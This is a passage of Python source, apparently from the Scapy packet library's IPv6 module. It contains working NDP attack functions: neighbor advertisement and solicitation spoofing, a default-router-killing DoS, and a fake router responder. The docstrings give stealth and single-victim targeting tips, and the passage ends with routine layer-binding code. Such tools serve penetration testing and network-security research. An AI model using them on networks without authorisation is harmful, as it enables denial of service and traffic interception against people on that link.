3733 received NS. If the target address in the NS message (not the IPv6
3734 destination address) matches that address, then a fake reply will
3735 be sent, i.e. the emitter will be a target of the DoS.
3737 reply_mac: allow specifying a specific source mac address for the reply,
3738 i.e. to prevent the use of the mac address of the interface. This
3739 address will also be used in the Target Link-Layer Address option.
3740 """
3742 def na_reply_callback(req, reply_mac, iface):
3743 """
3744 Callback that reply to a NS with a NA
3745 """
3747 # Let's build a reply and send it
3748 mac = req[Ether].src
3749 dst = req[IPv6].dst
3750 tgt = req[ICMPv6ND_NS].tgt
3751 rep = Ether(src=reply_mac) / IPv6(src=tgt, dst=dst)
3752 rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) # noqa: E741
3753 rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3754 sendp(rep, iface=iface, verbose=0)
3756 print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3758 _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,
3759 tgt_filter, reply_mac)
3762def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
3763 reply_mac=None, router=False):
3764 """
3765 The main purpose of this function is to send fake Neighbor Advertisement
3766 messages to a victim. As the emission of unsolicited Neighbor Advertisement
3767 is pretty pointless (from an attacker standpoint) because it will not
3768 lead to a modification of a victim's neighbor cache, the function send
3769 advertisements in response to received NS (NS sent as part of the DAD,
3770 i.e. with an unspecified address as source, are not considered).
3772 By default, the fake NA sent to create the DoS uses:
3773 - as target address the target address found in received NS.
3774 - as IPv6 source address: the target address
3775 - as IPv6 destination address: the source IPv6 address of received NS
3776 message.
3777 - the mac address of the interface as source (or reply_mac, see below).
3778 - the source mac address of the received NS as destination macs address
3779 of the emitted NA.
3780 - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
3781 filled with the mac address used as source of the NA.
3783 Following arguments can be used to change the behavior:
3785 iface: a specific interface (e.g. "eth0") of the system on which the
3786 DoS should be launched. If None is provided conf.iface is used.
3788 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3789 Only NS messages received from this source will trigger replies.
3790 This allows limiting the effects of the DoS to a single target by
3791 filtering on its mac address. The default value is None: the DoS
3792 is not limited to a specific mac address.
3794 tgt_filter: Same as previous but for a specific target IPv6 address for
3795 received NS. If the target address in the NS message (not the IPv6
3796 destination address) matches that address, then a fake reply will
3797 be sent, i.e. the emitter will be a target of the DoS.
3799 reply_mac: allow specifying a specific source mac address for the reply,
3800 i.e. to prevent the use of the mac address of the interface. This
3801 address will also be used in the Target Link-Layer Address option.
3803 router: by the default (False) the 'R' flag in the NA used for the reply
3804 is not set. If the parameter is set to True, the 'R' flag in the
3805 NA is set, advertising us as a router.
3807 Please, keep the following in mind when using the function: for obvious
3808 reasons (kernel space vs. Python speed), when the target of the address
3809 resolution is on the link, the sender of the NS receives 2 NA messages
3810 in a row, the valid one and our fake one. The second one will overwrite
3811 the information provided by the first one, i.e. the natural latency of
3812 Scapy helps here.
3814 In practice, on a common Ethernet link, the emission of the NA from the
3815 genuine target (kernel stack) usually occurs in the same millisecond as
3816 the receipt of the NS. The NA generated by Scapy6 will usually come after
3817 something 20+ ms. On a usual testbed for instance, this difference is
3818 sufficient to have the first data packet sent from the victim to the
3819 destination before it even receives our fake NA.
3820 """
3822 def is_request(req, mac_src_filter, tgt_filter):
3823 """
3824 Check if packet req is a request
3825 """
3827 # Those simple checks are based on Section 5.4.2 of RFC 4862
3828 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3829 return 0
3831 mac_src = req[Ether].src
3832 if mac_src_filter and mac_src != mac_src_filter:
3833 return 0
3835 # Source must NOT be the unspecified address
3836 if req[IPv6].src == "::":
3837 return 0
3839 tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3840 if tgt_filter and tgt != tgt_filter:
3841 return 0
3843 dst = req[IPv6].dst
3844 if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast.
3846 # If this is a real address resolution NS, then the destination
3847 # address of the packet is the link-local solicited node multicast
3848 # address associated with the target of the NS.
3849 # Otherwise, the NS is a NUD related one, i.e. the peer is
3850 # unicasting the NS to check the target is still alive (L2
3851 # information is still in its cache and it is verified)
3852 received_snma = inet_pton(socket.AF_INET6, dst)
3853 expected_snma = in6_getnsma(tgt)
3854 if received_snma != expected_snma:
3855 print("solicited node multicast @ does not match target @!")
3856 return 0
3858 return 1
3860 def reply_callback(req, reply_mac, router, iface):
3861 """
3862 Callback that reply to a NS with a spoofed NA
3863 """
3865 # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
3866 # send it back.
3867 mac = req[Ether].src
3868 pkt = req[IPv6]
3869 src = pkt.src
3870 tgt = req[ICMPv6ND_NS].tgt
3871 rep = Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src)
3872 # Use the target field from the NS
3873 rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # noqa: E741
3875 # "If the solicitation IP Destination Address is not a multicast
3876 # address, the Target Link-Layer Address option MAY be omitted"
3877 # Given our purpose, we always include it.
3878 rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3880 sendp(rep, iface=iface, verbose=0)
3882 print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3884 if not iface:
3885 iface = conf.iface
3886 # To prevent sniffing our own traffic
3887 if not reply_mac:
3888 reply_mac = get_if_hwaddr(iface)
3889 sniff_filter = "icmp6 and not ether src %s" % reply_mac
3891 router = 1 if router else 0 # Value of the R flags in NA
3893 sniff(store=0,
3894 filter=sniff_filter,
3895 lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3896 prn=lambda x: reply_callback(x, reply_mac, router, iface),
3897 iface=iface)
3900def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
3901 dst=None, src_mac=None, dst_mac=None, loop=True,
3902 inter=1, iface=None):
3903 """
3904 The main purpose of this function is to send fake Neighbor Solicitations
3905 messages to a victim, in order to either create a new entry in its neighbor
3906 cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
3907 that a node SHOULD create the entry or update an existing one (if it is not
3908 currently performing DAD for the target of the NS). The entry's reachability # noqa: E501
3909 state is set to STALE.
3911 The two main parameters of the function are the source link-layer address
3912 (carried by the Source Link-Layer Address option in the NS) and the
3913 source address of the packet.
3915 Unlike some other NDP_Attack_* function, this one is not based on a
3916 stimulus/response model. When called, it sends the same NS packet in loop
3917 every second (the default)
3919 Following arguments can be used to change the format of the packets:
3921 src_lladdr: the MAC address used in the Source Link-Layer Address option
3922 included in the NS packet. This is the address that the peer should
3923 associate in its neighbor cache with the IPv6 source address of the
3924 packet. If None is provided, the mac address of the interface is
3925 used.
3927 src: the IPv6 address used as source of the packet. If None is provided,
3928 an address associated with the emitting interface will be used
3929 (based on the destination address of the packet).
3931 target: the target address of the NS packet. If no value is provided,
3932 a dummy address (2001:db8::1) is used. The value of the target
3933 has a direct impact on the destination address of the packet if it
3934 is not overridden. By default, the solicited-node multicast address
3935 associated with the target is used as destination address of the
3936 packet. Consider specifying a specific destination address if you
3937 intend to use a target address different than the one of the victim.
3939 dst: The destination address of the NS. By default, the solicited node
3940 multicast address associated with the target address (see previous
3941 parameter) is used if no specific value is provided. The victim
3942 is not expected to check the destination address of the packet,
3943 so using a multicast address like ff02::1 should work if you want
3944 the attack to target all hosts on the link. On the contrary, if
3945 you want to be more stealth, you should provide the target address
3946 for this parameter in order for the packet to be sent only to the
3947 victim.
3949 src_mac: the MAC address used as source of the packet. By default, this
3950 is the address of the interface. If you want to be more stealth,
3951 feel free to use something else. Note that this address is not the
3952 that the victim will use to populate its neighbor cache.
3954 dst_mac: The MAC address used as destination address of the packet. If
3955 the IPv6 destination address is multicast (all-nodes, solicited
3956 node, ...), it will be computed. If the destination address is
3957 unicast, a neighbor solicitation will be performed to get the
3958 associated address. If you want the attack to be stealth, you
3959 can provide the MAC address using this parameter.
3961 loop: By default, this parameter is True, indicating that NS packets
3962 will be sent in loop, separated by 'inter' seconds (see below).
3963 When set to False, a single packet is sent.
3965 inter: When loop parameter is True (the default), this parameter provides
3966 the interval in seconds used for sending NS packets.
3968 iface: to force the sending interface.
3969 """
3971 if not iface:
3972 iface = conf.iface
3974 # Use provided MAC address as source link-layer address option
3975 # or the MAC address of the interface if none is provided.
3976 if not src_lladdr:
3977 src_lladdr = get_if_hwaddr(iface)
3979 # Prepare packets parameters
3980 ether_params = {}
3981 if src_mac:
3982 ether_params["src"] = src_mac
3984 if dst_mac:
3985 ether_params["dst"] = dst_mac
3987 ipv6_params = {}
3988 if src:
3989 ipv6_params["src"] = src
3990 if dst:
3991 ipv6_params["dst"] = dst
3992 else:
3993 # Compute the solicited-node multicast address
3994 # associated with the target address.
3995 tmp = inet_ntop(socket.AF_INET6,
3996 in6_getnsma(inet_pton(socket.AF_INET6, target)))
3997 ipv6_params["dst"] = tmp
3999 pkt = Ether(**ether_params)
4000 pkt /= IPv6(**ipv6_params)
4001 pkt /= ICMPv6ND_NS(tgt=target)
4002 pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)
4004 sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)
4007def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
4008 ip_src_filter=None, reply_mac=None,
4009 tgt_mac=None):
4010 """
4011 The purpose of the function is to monitor incoming RA messages
4012 sent by default routers (RA with a non-zero Router Lifetime values)
4013 and invalidate them by immediately replying with fake RA messages
4014 advertising a zero Router Lifetime value.
4016 The result on receivers is that the router is immediately invalidated,
4017 i.e. the associated entry is discarded from the default router list
4018 and destination cache is updated to reflect the change.
4020 By default, the function considers all RA messages with a non-zero
4021 Router Lifetime value but provides configuration knobs to allow
4022 filtering RA sent by specific routers (Ethernet source address).
4023 With regard to emission, the multicast all-nodes address is used
4024 by default but a specific target can be used, in order for the DoS to
4025 apply only to a specific host.
4027 More precisely, following arguments can be used to change the behavior:
4029 iface: a specific interface (e.g. "eth0") of the system on which the
4030 DoS should be launched. If None is provided conf.iface is used.
4032 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
4033 Only RA messages received from this source will trigger replies.
4034 If other default routers advertised their presence on the link,
4035 their clients will not be impacted by the attack. The default
4036 value is None: the DoS is not limited to a specific mac address.
4038 ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
4039 on. Only RA messages received from this source address will trigger
4040 replies. If other default routers advertised their presence on the
4041 link, their clients will not be impacted by the attack. The default
4042 value is None: the DoS is not limited to a specific IPv6 source
4043 address.
4045 reply_mac: allow specifying a specific source mac address for the reply,
4046 i.e. to prevent the use of the mac address of the interface.
4048 tgt_mac: allow limiting the effect of the DoS to a specific host,
4049 by sending the "invalidating RA" only to its mac address.
4050 """
4052 def is_request(req, mac_src_filter, ip_src_filter):
4053 """
4054 Check if packet req is a request
4055 """
4057 if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
4058 return 0
4060 mac_src = req[Ether].src
4061 if mac_src_filter and mac_src != mac_src_filter:
4062 return 0
4064 ip_src = req[IPv6].src
4065 if ip_src_filter and ip_src != ip_src_filter:
4066 return 0
4068 # Check if this is an advertisement for a Default Router
4069 # by looking at Router Lifetime value
4070 if req[ICMPv6ND_RA].routerlifetime == 0:
4071 return 0
4073 return 1
4075 def ra_reply_callback(req, reply_mac, tgt_mac, iface):
4076 """
4077 Callback that sends an RA with a 0 lifetime
4078 """
4080 # Let's build a reply and send it
4082 src = req[IPv6].src
4084 # Prepare packets parameters
4085 ether_params = {}
4086 if reply_mac:
4087 ether_params["src"] = reply_mac
4089 if tgt_mac:
4090 ether_params["dst"] = tgt_mac
4092 # Basis of fake RA (high pref, zero lifetime)
4093 rep = Ether(**ether_params) / IPv6(src=src, dst="ff02::1")
4094 rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
4096 # Add it a PIO from the request ...
4097 tmp = req
4098 while ICMPv6NDOptPrefixInfo in tmp:
4099 pio = tmp[ICMPv6NDOptPrefixInfo]
4100 tmp = pio.payload
4101 del pio.payload
4102 rep /= pio
4104 # ... and source link layer address option
4105 if ICMPv6NDOptSrcLLAddr in req:
4106 mac = req[ICMPv6NDOptSrcLLAddr].lladdr
4107 else:
4108 mac = req[Ether].src
4109 rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
4111 sendp(rep, iface=iface, verbose=0)
4113 print("Fake RA sent with source address %s" % src)
4115 if not iface:
4116 iface = conf.iface
4117 # To prevent sniffing our own traffic
4118 if not reply_mac:
4119 reply_mac = get_if_hwaddr(iface)
4120 sniff_filter = "icmp6 and not ether src %s" % reply_mac
4122 sniff(store=0,
4123 filter=sniff_filter,
4124 lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
4125 prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
4126 iface=iface)
4129def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
4130 ip_src_filter=None):
4131 """
4132 The purpose of this function is to send provided RA message at layer 2
4133 (i.e. providing a packet starting with IPv6 will not work) in response
4134 to received RS messages. In the end, the function is a simple wrapper
4135 around sendp() that monitor the link for RS messages.
4137 It is probably better explained with an example:
4139 >>> ra = Ether()/IPv6()/ICMPv6ND_RA()
4140 >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
4141 >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
4142 >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
4143 >>> NDP_Attack_Fake_Router(ra, iface="eth0")
4144 Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
4145 Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
4146 ...
4148 Following arguments can be used to change the behavior:
4150 ra: the RA message to send in response to received RS message.
4152 iface: a specific interface (e.g. "eth0") of the system on which the
4153 DoS should be launched. If none is provided, conf.iface is
4154 used.
4156 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
4157 Only RS messages received from this source will trigger a reply.
4158 Note that no changes to provided RA is done which imply that if
4159 you intend to target only the source of the RS using this option,
4160 you will have to set the Ethernet destination address to the same
4161 value in your RA.
4162 The default value for this parameter is None: no filtering on the
4163 source of RS is done.
4165 ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
4166 on. Only RS messages received from this source address will trigger
4167 replies. Same comment as for previous argument apply: if you use
4168 the option, you will probably want to set a specific Ethernet
4169 destination address in the RA.
4170 """
4172 def is_request(req, mac_src_filter, ip_src_filter):
4173 """
4174 Check if packet req is a request
4175 """
4177 if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):
4178 return 0
4180 mac_src = req[Ether].src
4181 if mac_src_filter and mac_src != mac_src_filter:
4182 return 0
4184 ip_src = req[IPv6].src
4185 if ip_src_filter and ip_src != ip_src_filter:
4186 return 0
4188 return 1
4190 def ra_reply_callback(req, iface):
4191 """
4192 Callback that sends an RA in reply to an RS
4193 """
4195 src = req[IPv6].src
4196 sendp(ra, iface=iface, verbose=0)
4197 print("Fake RA sent in response to RS from %s" % src)
4199 if not iface:
4200 iface = conf.iface
4201 sniff_filter = "icmp6"
4203 sniff(store=0,
4204 filter=sniff_filter,
4205 lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
4206 prn=lambda x: ra_reply_callback(x, iface),
4207 iface=iface)
4209#############################################################################
4210# Pre-load classes ##
4211#############################################################################
4214def _get_cls(name):
4215 return globals().get(name, Raw)
4218def _load_dict(d):
4219 for k, v in d.items():
4220 d[k] = _get_cls(v)
4223_load_dict(icmp6ndoptscls)
4224_load_dict(icmp6typescls)
4225_load_dict(ipv6nhcls)
4227#############################################################################
4228#############################################################################
4229# Layers binding #
4230#############################################################################
4231#############################################################################
4233conf.l3types.register(ETH_P_IPV6, IPv6)
4234conf.l3types.register_num2layer(ETH_P_ALL, IPv46)
4235conf.l2types.register(31, IPv6)
4236conf.l2types.register(DLT_IPV6, IPv6)
4237conf.l2types.register(DLT_RAW, IPv46)
4238conf.l2types.register_num2layer(DLT_RAW_ALT, IPv46)
4239if OPENBSD:
4240 conf.l2types.register_num2layer(229, IPv6)
4242bind_layers(Ether, IPv6, type=0x86dd)
4243bind_layers(CookedLinux, IPv6, proto=0x86dd)
4244bind_layers(GRE, IPv6, proto=0x86dd)
4245bind_layers(SNAP, IPv6, code=0x86dd)
4246# AF_INET6 values are platform-dependent. For a detailed explanation, read
4247# https://github.com/the-tcpdump-group/libpcap/blob/f98637ad7f086a34c4027339c9639ae1ef842df3/gencode.c#L3333-L3354 # noqa: E501
4248if WINDOWS:
4249 bind_layers(Loopback, IPv6, type=0x18)
4250else:
4251 bind_layers(Loopback, IPv6, type=socket.AF_INET6)
4252bind_layers(IPerror6, TCPerror, nh=socket.IPPROTO_TCP)
4253bind_layers(IPerror6, UDPerror, nh=socket.IPPROTO_UDP)
4254bind_layers(IPv6, TCP, nh=socket.IPPROTO_TCP)
4255bind_layers(IPv6, UDP, nh=socket.IPPROTO_UDP)
4256bind_layers(IP, IPv6, proto=socket.IPPROTO_IPV6)
4257bind_layers(IPv6, IPv6, nh=socket.IPPROTO_IPV6)
4258bind_layers(IPv6, IP, nh=socket.IPPROTO_IPIP)
4259bind_layers(IPv6, GRE, nh=socket.IPPROTO_GRE)